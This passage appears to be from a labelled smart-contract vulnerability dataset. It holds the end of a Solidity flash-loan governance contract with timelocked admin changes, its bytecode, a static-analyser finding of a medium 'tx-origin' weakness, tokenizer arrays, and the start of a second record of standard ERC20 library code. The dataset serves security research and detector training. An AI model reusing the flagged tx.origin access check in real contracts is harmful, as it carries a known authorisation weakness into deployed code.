flashLoanModulesList.push(_module);
}
// --------------------
// Governance is removing a module fromthe list
// --------------------
function removeFlashModule(uint256 _moduleID) external onlyGovernance {
uint256 length = flashLoanModulesList.length;
for(uint256 i = 0; i < length; i++){
if(i == _moduleID){
// Move all the remaining elements down one
for(uint256 i2 = i; i2 < length-1; i2++){
flashLoanModulesList[i2] = flashLoanModulesList[i2 + 1]; // Shift the data down one
}
flashLoanModulesList.pop(); //Remove last element
break;
}
}
}
// --------------------
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[5] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
require(_timelockType == _type, "Timelock not acquired for this function");
_timelockType = 0; // Reset the type once the timelock is used
require(now >= _timelockStart + TIMELOCK_DURATION, "Timelock time not met");
_;
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 1;
_timelock_address = _address;
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
transferGovernance(_timelock_address);
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 2;
_timelock_address = _address;
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
treasuryAddress = _timelock_address;
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 3;
_timelock_address = _address;
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
stakingAddress = _timelock_address;
}
// --------------------
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c80639434c910116100b8578063d5344f791161007c578063d5344f79146102e8578063d5eee8b6146102f0578063d7b4be24146102f8578063d821a33814610300578063f03bcd8e14610308578063f80087761461032e57610142565b80639434c910146102c0578063a16f4209146102c8578063b9195072146102d0578063ba49848b146102d8578063c5f956af146102e057610142565b8063375858651161010a57806337585865146101fe5780633ca56030146102245780633f7ab2201461025a578063557460d3146102775780635aa6e675146102b057806387f61c81146102b857610142565b80630d1840f81461014757806314aabd01146101615780631631759c146101895780631d0fa032146101be57806337141da8146101c6575b600080fd5b61014f610354565b60408051918252519081900360200190f35b6101876004803603602081101561017757600080fd5b50356001600160a01b031661035a565b005b610187600480360360a081101561019f57600080fd5b50803590602081013590604081013590606081013590608001356103dd565b61014f6104b2565b610187600480360360808110156101dc57600080fd5b506001600160a01b0381351690602081013590604081013590606001356104b8565b6101876004803603602081101561021457600080fd5b50356001600160a01b03166105be565b6102416004803603602081101561023a57600080fd5b5035610668565b6040805192835260208301919091528051918290030190f35b6101876004803603602081101561027057600080fd5b50356108b1565b6102946004803603602081101561028d57600080fd5b50356109d3565b604080516001600160a01b039092168252519081900360200190f35b6102946109fa565b610187610a09565b61014f610b21565b61014f610b27565b610187610b2d565b610187610c38565b610294610d50565b61014f610d5f565b61014f610d65565b610294610d6b565b61014f610d7a565b6101876004803603602081101561031e57600080fd5b50356001600160a01b0316610d80565b6101876004803603602081101561034457600080fd5b50356001600160a01b0316610e03565b60085481565b610362610e86565b6000546001600160a01b039081169116146103b2576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b42600a556003600b55600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6103e5610e86565b6000546001600160a01b03908116911614610435576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b620186a0831115801561044b5750620186a08211155b801561045a5750620186a08411155b6104955760405162461bcd60e51b8152600401808060200182810382526023815260200180611b236023913960400191505060405180910390fd5b600693909355600491909155600892909255600591909155600755565b60045481565b814311156104f75760405162461bcd60e51b8152600401808060200182810382526024815260200180611a1d6024913960400191505060405180910390fd5b8261050d60035442610e8a90919063ffffffff16565b1015610560576040805162461bcd60e51b815260206004820152601d60248201527f546865206c6173742074726164652077617320746f6f20726563656e74000000604482015290519081900360640190fd5b32610569610e86565b6001600160a01b0316146105ae5760405162461bcd60e51b815260040180806020018281038252602c815260200180611a67602c913960400191505060405180910390fd5b6105b88482610ed5565b50505050565b6105c6610e86565b6000546001600160a01b03908116911614610616576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b600980546001810182556000919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319166001600160a01b0392909216919091179055565b600080610673610b27565b83106106c6576040805162461bcd60e51b815260206004820152601a60248201527f4d6f64756c65204944206f757473696465206f662072616e6765000000000000604482015290519081900360640190fd5b6000600984815481106106d557fe5b600091825260209182902001546040805163e008ab6f60e01b815290516001600160a01b039092169263e008ab6f92600480840193829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051604080516370a0823160e01b815230600482015290519192506107db9173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2916370a08231916024808301926020929190829003018186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d60208110156107cc57600080fd5b5051829063ffffffff6113e816565b90506008548110156107f45750600091504390506108ac565b60008190506000610815600754610809611442565b9063ffffffff6114cd16565b905061083f620186a0610833600554856114cd90919063ffffffff16565b9063ffffffff61152616565b811061086e57610861620186a0610833600554856114cd90919063ffffffff16565b43945094505050506108ac565b61087e828263ffffffff610e8a16565b9150610861816108a0620186a0610833600454876114cd90919063ffffffff16565b9063ffffffff6113e816565b915091565b6108b9610e86565b6000546001600160a01b03908116911614610909576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b60095460005b818110156109ce57828114156109c657805b60018303811015610993576009816001018154811061093c57fe5b600091825260209091200154600980546001600160a01b03909216918390811061096257fe5b600091825260209091200180546001600160a01b0319166001600160a01b0392909216919091179055600101610921565b50600980548061099f57fe5b600082815260209020810160001990810180546001600160a01b03191690550190556109ce565b60010161090f565b505050565b600981815481106109e057fe5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031690565b610a11610e86565b6000546001600160a01b03908116911614610a61576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b600380600b5414610aa35760405162461bcd60e51b8152600401808060200182810382526027815260200180611a936027913960400191505060405180910390fd5b6000600b55600a546201518001421015610afc576040805162461bcd60e51b8152602060048201526015602482015274151a5b595b1bd8dac81d1a5b59481b9bdd081b595d605a1b604482015290519081900360640190fd5b50600c54600280546001600160a01b0319166001600160a01b03909216919091179055565b60075481565b60095490565b610b35610e86565b6000546001600160a01b03908116911614610b85576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b600180600b5414610bc75760405162461bcd60e51b8152600401808060200182810382526027815260200180611a936027913960400191505060405180910390fd5b6000600b55600a546201518001421015610c20576040805162461bcd60e51b8152602060048201526015602482015274151a5b595b1bd8dac81d1a5b59481b9bdd081b595d605a1b604482015290519081900360640190fd5b600c54610c35906001600160a01b0316611568565b50565b610c40610e86565b6000546001600160a01b03908116911614610c90576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b600280600b5414610cd25760405162461bcd60e51b8152600401808060200182810382526027815260200180611a936027913960400191505060405180910390fd5b6000600b55600a546201518001421015610d2b576040805162461bcd60e51b8152602060048201526015602482015274151a5b595b1bd8dac81d1a5b59481b9bdd081b595d605a1b604482015290519081900360640190fd5b50600c54600180546001600160a01b0319166001600160a01b03909216919091179055565b6001546001600160a01b031681565b60065481565b60035481565b6002546001600160a01b031681565b60055481565b610d88610e86565b6000546001600160a01b03908116911614610dd8576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b42600a556002600b55600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610e0b610e86565b6000546001600160a01b03908116911614610e5b576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b42600a556001600b55600c80546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000610ecc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611660565b90505b92915050565b610edd610b27565b8110610f30576040805162461bcd60e51b815260206004820152601a60248201527f4d6f64756c65204944206f757473696465206f662072616e6765000000000000604482015290519081900360640190fd5b42600355604080516370a0823160e01b8152306004820152905173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29160009183916370a08231916024808301926020929190829003018186803b158015610f8a57600080fd5b505afa158015610f9e573d6000803e3d6000fd5b505050506040513d6020811015610fb457600080fd5b5051600980549192509084908110610fc857fe5b60009182526020822001546040805163549994dd60e11b815290516001600160a01b039092169263a93329ba9260048084019382900301818387803b15801561101057600080fd5b505af1158015611024573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516110ac93508492506001600160a01b038616916370a08231916024808301926020929190829003018186803b15801561107457600080fd5b505afa158015611088573d6000803e3d6000fd5b505050506040513d602081101561109e57600080fd5b50519063ffffffff610e8a16565b9050600081116110ed5760405162461bcd60e51b8152600401808060200182810382526028815260200180611afb6028913960400191505060405180910390fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561113757600080fd5b505afa15801561114b573d6000803e3d6000fd5b505050506040513d602081101561116157600080fd5b50516008549091508111156113e1576001600160a01b038516156112bd57600061118f600754610809611442565b905060006111a86007543a6114cd90919063ffffffff16565b9050818111156111b55750805b60055481906111d490620186a09061083390879063ffffffff6114cd16565b82106111fd576111f6620186a0610833600554876114cd90919063ffffffff16565b9050611224565b611221826108a0620186a0610833600454610809888b610e8a90919063ffffffff16565b90505b80156112b9576112446001600160a01b038716898363ffffffff6116f716565b604080516370a0823160e01b815230600482015290516001600160a01b038816916370a08231916024808301926020929190829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d60208110156112b457600080fd5b505193505b5050505b80156113e15760006112e1620186a0610833600654856114cd90919063ffffffff16565b905060006112f5838363ffffffff610e8a16565b9050801561131d5760015461131d906001600160a01b0387811691168363ffffffff6116f716565b81156113de576002546001600160a01b0316156113be57600254611354906001600160a01b0387811691168463ffffffff6116f716565b60025460408051633c6b16ab60e01b81526004810185905290516001600160a01b0390921691633c6b16ab9160248082019260009290919082900301818387803b1580156113a157600080fd5b505af11580156113b5573d6000803e3d6000fd5b505050506113de565b6001546113de906001600160a01b0387811691168463ffffffff6116f716565b50505b5050505050565b600082820183811015610ecc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008073169e633a2d1e6c10dd91238ba11c4a708dfef37c90506000816001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561149757600080fd5b505afa1580156114ab573d6000803e3d6000fd5b505050506040513d60a08110156114c157600080fd5b50602001519250505090565b6000826114dc57506000610ecf565b828202828482816114e957fe5b0414610ecc5760405162461bcd60e51b8152600401808060200182810382526021815260200180611aba6021913960400191505060405180910390fd5b6000610ecc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611749565b611570610e86565b6000546001600160a01b039081169116146115c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611adb833981519152604482015290519081900360640190fd5b6001600160a01b0381166116055760405162461bcd60e51b8152600401808060200182810382526026815260200180611a416026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f5f56bee8cffbe9a78652a74a60705edede02af10b0bbb888ca44b79a0d42ce8091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156116ef5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116b457818101518382015260200161169c565b50505050905090810190601f1680156116e15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526109ce9084906117ae565b600081836117985760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156116b457818101518382015260200161169c565b5060008385816117a457fe5b0495945050505050565b6060611803826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661185f9092919063ffffffff16565b8051909150156109ce5780806020019051602081101561182257600080fd5b50516109ce5760405162461bcd60e51b815260040180806020018281038252602a815260200180611b46602a913960400191505060405180910390fd5b606061186e8484600085611876565b949350505050565b6060611881856119e3565b6118d2576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106119115780518252601f1990920191602091820191016118f2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611973576040519150601f19603f3d011682016040523d82523d6000602084013e611978565b606091505b5091509150811561198c57915061186e9050565b80511561199c5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156116b457818101518382015260200161169c565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061186e57505015159291505056fe446561646c696e652068617320657870697265642c2061626f7274696e672074726164654f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436f6e7472616374732063616e6e6f7420696e746572616374207769746820746869732066756e6374696f6e54696d656c6f636b206e6f7420616371756972656420666f7220746869732066756e6374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572546865726520776173206e6f2070726f6669742066726f6d207468697320666c617368206c6f616e50657263656e742063616e6e6f742062652067726561746572207468616e20313030255361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220d1c77d062c7f00567c4d3971ad4e44791600ea5e6eedc629b5f1ca2d9644047e64736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2581,
12879,
2692,
2683,
23352,
2063,
2620,
2063,
2683,
17465,
2278,
2620,
19317,
2050,
2620,
2497,
2620,
10790,
16703,
2063,
2575,
2683,
2629,
2094,
2581,
4246,
16703,
2620,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,562 | 0x95583a6f7aaaa56c48b27413d070219e22844435 | pragma solidity ^0.7.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
